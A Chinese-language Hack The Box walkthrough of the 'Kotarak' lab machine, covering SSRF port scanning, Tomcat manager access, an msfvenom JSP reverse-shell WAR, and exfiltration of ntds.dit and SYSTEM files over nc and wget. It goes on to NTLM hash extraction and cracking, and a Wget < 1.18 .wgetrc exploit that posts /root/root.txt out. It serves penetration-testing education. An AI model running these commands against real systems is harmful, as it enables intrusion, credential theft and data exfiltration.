Hackthebox kotarak(从ssrf到提权-ntds-dit提取密码)

2019-05-28 约 3837 字 预计阅读 8 分钟

声明:本文 【Hackthebox kotarak(从ssrf到提权-ntds-dit提取密码)】 由作者 whale 于 2019-05-28 07:34:00 首发 先知社区 曾经 浏览数 22 次

感谢 whale 的辛苦付出!

前言

hackthebox是一个在线的渗透平台,通过渗透获取邀请码,即可在这个平台上注册一个账号。

该平台的在线靶机一共20台,每周会下线一台靶机,如果靶机下线了呢,分数就会全部清空。而成功渗透靶机就能获取一定的分数,分数够了就能提升等级。

在线的靶机都是没有writeup的,所以你的等级很大程度可以证明你的渗透实战能力。

该平台一共7个用户等级,刚注册是等级Noob:

  1. Noob 无知者

  2. script kiddle 脚本小子

  3. hacker 黑客

  4. Pro hacker 专业黑客

  5. Elite Hacker 精英黑客

  6. Guru 大师

  7. Omniscient (最高等级)无所不知者

靶机的分数为20-50分

  1. 20分-easy 简单

  2. 30分-medium 中等难度

  3. 40分-hard 困难的

  4. 50分-Insane 疯狂的

下面介绍关于过期的机器kotarak的渗透过程,难度等级为hard。

扫描

用masscan与Nmap工具分别输入以下指令:

masscan -p1-65535,U:1-65535 10.10.10.55 --rate=1000 -e tun0 -p1-65535,U:1-65535 > ports

ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

nmap -Pn -sV -sC -sU -sT -p$ports 10.10.10.55

扫描结果提示,22、8080、8009以及60000端口开放。

8080web探测

首先访问http://10.10.10.55:8080,显示HTTP Status 404 - /,状态码404 not found。于是枚举目录。

dirb http://10.10.10.55:8080

+ http://10.10.10.55:8080/docs (CODE:**302**|SIZE:0)
+ http://10.10.10.55:8080/examples (CODE:302|SIZE:0)
+ http://10.10.10.55:8080/favicon.ico (CODE:200|SIZE:21630)
+ http://10.10.10.55:8080/host-manager (CODE:302|SIZE:0)
+ http://10.10.10.55:8080/manager (CODE:302|SIZE:0)

发现基本上都是302重定向。

于是访问下 http://10.10.10.55:8080/manager

发现302重定向到http://10.10.10.55:8080/manager/

并且状态码是404。但是404页面有个提示,tomcat 7重构并且有些urls已经改变。所有使用管理应用的urls现在应该使用如下选项:

/manager/html for the HTML GUI

/manager/text for the text interface

/manager/jmxproxy for the JMX proxy

/manager/status for the status pages

我们就按照所说的访问一下。发现所给的urls都需要登陆才能访问。

再搜索下 Apache Tomcat 8.5.5。参考

tomcat是java web服务器

尝试访问:http://10.10.10.55:8080/index.jsp ,200ok。

60000端口-web探测

SSRF-服务端请求伪造

没有经验的小白先跟whale学习下。

该漏洞经常出现在服务端,一些web应用程序经常从其他server获取信息。

客户端 (去B服务器取回图片 !)——》A服务端(执行)————》B服务器(返回图片)————》A服务器(执行完毕)————》客户端(收到图片)

攻击方式:

客户端(去扫描B服务器 !)——》A服务端(执行)————》B服务器(返回数据包)————》A服务器(执行完毕)————》客户端(收到扫描结果)

服务器没有过滤客户端的请求。本来设计的功能想法是好的,但是攻击者不打算以设计者的想法来使用这个功能。

使用这个私人的web浏览器匿名在网络冲浪,请不要滥用它。
  • Trying
python -m SimpleHTTPServer

ifconfig

在本地开启服务器,查看本地ip。

尝试用浏览器上的该功能访问下本地,是否成功。

输入http://本地ip:8000

浏览器跳转到一个地址http://10.10.10.55:60000/url.php?path=http://本地ip:8000

成功访问客户端本地地址。

  • Trying

然后尝试ssrf,提交file:///etc/passwd

返回try harder

尝试File FIlE ,同样的返回结果。说明目标机可能用正则表达式限制了file这个字符。

  • Trying

尝试http://localhost:60000 返60000端口上的正常页面。

因为端口扫描那一步客户端访问都是302重定向,需要登陆才能访问,于是我们通过60000端口上的“搜索”功能,绕过对客户端的限制。让服务器替我们获取想要的信息。

wfuzz

  • 这是一个web扫描软件

可以用wfuzz -h 查看使用方式

我们使用下列参数,扫描服务器开放的端口

wfuzz -c -z range,1-65535 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ

图片中,2 Ch是响应的字符串,访问后发现没有任何有价值的东西,于是我们忽略它。

wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ

扫描后,我们得到了非2 Ch的响应结果。

看到了很多端口信息,因为客户端nmap扫描是远程访问,有 防火墙等等,所以在这里会得到更加详细的(在远程扫描不到的)端口信息。

  • trying

一个一个访问这些开放了的端口,http://10.10.10.55:60000/url.php?path=http://localhost:端口

在888端口,找到了一个备份页面backup。

  • Trying

http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup

得到了可能是tomcat配置文件中的用户名密码。

(有一个小技巧,在端口扫描那一步,得到了不能访问的文件名,可以用ssrf去访问,来获取敏感文件。)

我们用这个口令登陆端口扫描那一步获得的地址manager/html

获取shell

刚刚通过ssrf获取敏感文件,从而突破防线,接下来,我们要获取一个shell。

因为主页面上有上传功能,提示:

deploy directory or WAR file located on server.

war file to deploy 

select war file to upload.

暗示了我们可以上传一个war类型的反弹shell。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.8 LPORT=1234 -f war > ippsec.war

War——web归档文件,war文件用于封装web模块。web模块可以代表一个独立的web应用程序。

  • Trying

成功上传——本地nc监听80端口nc -lnvp 1234——浏览器访问payload地址,即可获得一个shell。

  • shell中运行

python -c 'import pty;pty.spawn("/bin/bash")' 于是获得一个bash shell。

  • find . -name "user.txt" 2>/dev/null

/home/atanas/user.txt 无读取选项

用户提权

经过之前步骤,我们获得了一个tomcat用户权限的shell,可以看到有一些文件是不允许访问的。接下来看看如何获取root权限。

cd /home/tomcat/to_archive/pentest_data

在用户家目录下,发现一个ntds.dit文件。以前没做过域渗透,(⊙﹏⊙)稍微去了解了下,ntds.dit即目录数据库,用于windows域。

文件传输

将那两个文件用nc发送到攻击机本地

kali:   nc -lvnp 443 > SYSTEM

shell:  nc 10.10.14.5 443 <  20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

kali:   file

同样的方式,把另一个文件用ntds.dit作为文件名传送到本地

方法二:

发现nc传输,当文件大时,十分不方便

远程shell:python -m SimpleHTTPServer 7788

本地kali:

wget http://10.10.10.55:7788/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

wget http://10.10.10.55:7788/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit

工具介绍

安装

简而言之,下面的工具就是用来提取目录数据库中保存的hash的。

libesedb

git clone https://github.com/libyal/libesedb.git

cd libesedb/



apt-get install git autoconf automake autopoint libtool pkg-config build-essential



./synclibs.sh

./autogen.sh

./configure 将源代码编译

make

make install

ldconfig

ntdsxtract

git clone https://github.com/csababarta/ntdsxtract

cd ntdsxtract

python setup.py build && python setup.py install

使用方法:

video:提取hash

esedbexport -m tables ntds.dit 

该命令运行后,会生成一个文件夹,ntds.dit.export



cd ntds.dit.export;ls

可以查看生成了一些文件,注意datatable.3、link_table.5



文件绝对路径: 

1. /root/Desktop/10.10.10.55/ntds.dit.export/datatable.3

2. /root/Desktop/10.10.10.55/ntds.dit.export/link_table.5

3. 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

重命名为SYSTEM



dsusers.py 路径1 路径2 hashdump(生成的文件夹名称) --syshive 文件3 --passwordhashes --lmoutfile lmout.txt --ntoutfile ntout.txt --pwdformat ophc



最终的命令

dsusers.py /root/Desktop/10.10.10.55/ntds.dit.export/datatable.3 /root/Desktop/10.10.10.55/ntds.dit.export/link_table.5 hashdump --syshive SYSTEM --passwordhashes --lmoutfile lmout.txt --ntoutfile ntout.txt --pwdformat ophc



在生成的文件夹hashdump,可以找到ntout.txt



ntout.txt的内容如下

Administrator:::e64fe0f24ba2489c05e64354d74ebd11:S-1-5-21-1036816736-4081296861-1938768537-500::

krbtgt:::ca1ccefcb525db49828fbb9d68298eee:S-1-5-21-1036816736-4081296861-1938768537-502::

atanas:::2b576acbe6bcfda7294d6bd18041b8fe:S-1-5-21-1036816736-4081296861-1938768537-1108::

复制2b576acbe6bcfda7294d6bd18041b8fe,在在线密码破解网站https://crackstation.net/

| 用户名 | 密码 |

| Administrator | f16tomcat! |

| atanas | Password123! |

| krbtgt | 破解失败 |

su atanas

atanas作为用户名,f16tomcat!作为密码,成功获得atanas用户权限

获得user flagcat ~/user.txt

root提权

kali:python -m SimpleHTTPServer 80

远程shell:

cd /tmp

wget http://10.10.14.5:80/LinEnum.sh

chmod a+x LinEnum.sh; ./LinEnum.sh

find . -name "root.txt" 2>/dev/null

未找到

线索app.log

app.log暗示了我们10.0.3.133的wget版本Wget/1.16

wget -V,发现主机10.10.10.55的Wget版本为 1.17.1

有一个主机10.0.3.133,每两分钟获取主机10.10.10.55的/archive.tar.gz文件。

searchsploit Wget

GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution 



searchsploit -m exploits/linux/remote/40064.txt

查看40064.txt,可以得知wget漏洞利用的详细内容以及exploit代码。


信息搜集

ifconfig

eth0 inet addr:10.10.10.55

lxcbr0 inet addr:10.0.3.1

arp -a 查看本地arp缓存表。

显示局域网ip有两个,10.10.10.2 10.10.3.133

shell终端运行nmap,显示不能用。

那么用nc来扫描端口:

nc -v 10.10.3.133 445

nc -v 10.10.3.133 3389

nc -v 10.10.3.133 22

只有22端口显示succeeded。

这一步骤为了确定ip10.10.3.133是什么机器,显然是linux机器。

看来我们要提权10.10.3.133的root权限,来获得root.txt

wget漏洞利用

利用思路

当133主机请求10.0.3.1的archive存档文件时候,3.1会提示404不存在。

如果我们用kali开启ftp服务,并且让3.1重定向到kali-ftp,于是133主机就会取回.wgetrc作为全局初始化配置文件。

.wgetrc提示发送/root/root.txt,于是133就将本机的机密文件发送给了10.0.3.1

利用过程

kali :
建立如下两个文件
touch exp.py
touch .wgetrc

.wgetrc文件内容,保存的绝对路径为/root/.wgetrc

post_file = /root/root.txt

output_document = /etc/cron.d/wget-root-shell

wgetrc是一个全局初始启动的配置文件

post-file选项使你选择一个具体的文件发送

output_document选项,使下载的文件以你设置的文件名保存

exp.py内容

https://raw.githubusercontent.com/Teckk2/Teck_k2/master/Kotarak-wget.py

将exp修改ftp的ip为kali的,然后上传至10.10.10.55。

kali:

pip2 install pyftpdlib 

python -m pyftpdlib -p 21 -w

以路径/root,kali开启ftp服务器

kali上传wget.py到远程主机:

python -m SimpleHTTPServer 8080

远程shell :

wget http://10.10.14.5:8080/wget.py

authbind python wget.py

稍等两分钟,10.10.10.55的shell就会返回执行结果,成功获得10.10.3.133的/root/root.txt文件。

成功获得root.txt的flag。
如果将.wgetrc文件进行修改,即可获得任意10.10.3.133的文件,包括/etc/shadow。

参考资料:

从ntds-dit提取密码的三种方式

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now